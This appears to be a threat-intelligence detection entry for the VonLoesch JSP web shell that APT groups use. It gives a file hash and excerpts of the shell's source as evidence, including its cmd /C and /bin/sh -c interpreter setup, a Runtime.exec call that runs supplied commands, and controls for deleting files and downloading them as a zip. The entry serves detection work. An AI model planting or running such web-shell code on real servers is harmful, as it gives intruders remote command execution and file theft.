jsp_File_browser.jsp
VonLoesch JSP web shell
VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1aWeb Shell
SHA-25689a69d8d77e3a427276a568cde58dbfa0fd8a555f51ecc38c1b91a929db2b209
MaleculeO(C)H₂(CmPo)Md(Pt)Th
Evidence
19:33… created on the fly.
20 - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
21--%>
22<%@page import="java.util.*,
23 java.net.*,
24 java.text.*,
⋯6 lines
80:18… inal String[] FORBIDDEN_DRIVES = {"a:\\"};
81
82 /**
83 * Command of the shell interpreter and the parameter to run a programm
84 */
85 private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
86 //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
87
⋯6 lines
⋯4 lines
145
146 public String getTimeElapsed() {
147 long time = (System.currentTimeMillis() - starttime) / 1000l;
148 if (time - 60l >= 0){
149 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯7 lines
660:3… comm[1] = COMMAND_INTERPRETER[1];
661 comm[2] = command;
662 long start = System.currentTimeMillis();
663 try {
664 //Start process
665 Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
666 //Get input and error streams
667 BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
⋯4 lines
1886:36… b><b> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%>
1887 </b>
1888 </p>
1889 <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
1890 <input type="hidden" name="sort" value="<%=sortMode%>">
1891 <input title="Download selected files and directories as one zip file" class="button" id="but_Zip" type="Submit" name="Submit" value="<%=SAVE_AS_ZIP%>">
1892 <% if (!READ_ONLY) {%>
1893 <input title="Delete all selected files and directories incl. subdirs" class="button" id="but_Del" type="Submit" name="Submit" value="<%=DELETE_FILES%>"
1894 onclick="return confirm('Do you really want to delete the entries?')">
1895 <% } %>
1896 <% if (!READ_ONLY) {%>
1897 <br />
1898 <input title="Enter new dir or filename or the relative or ab …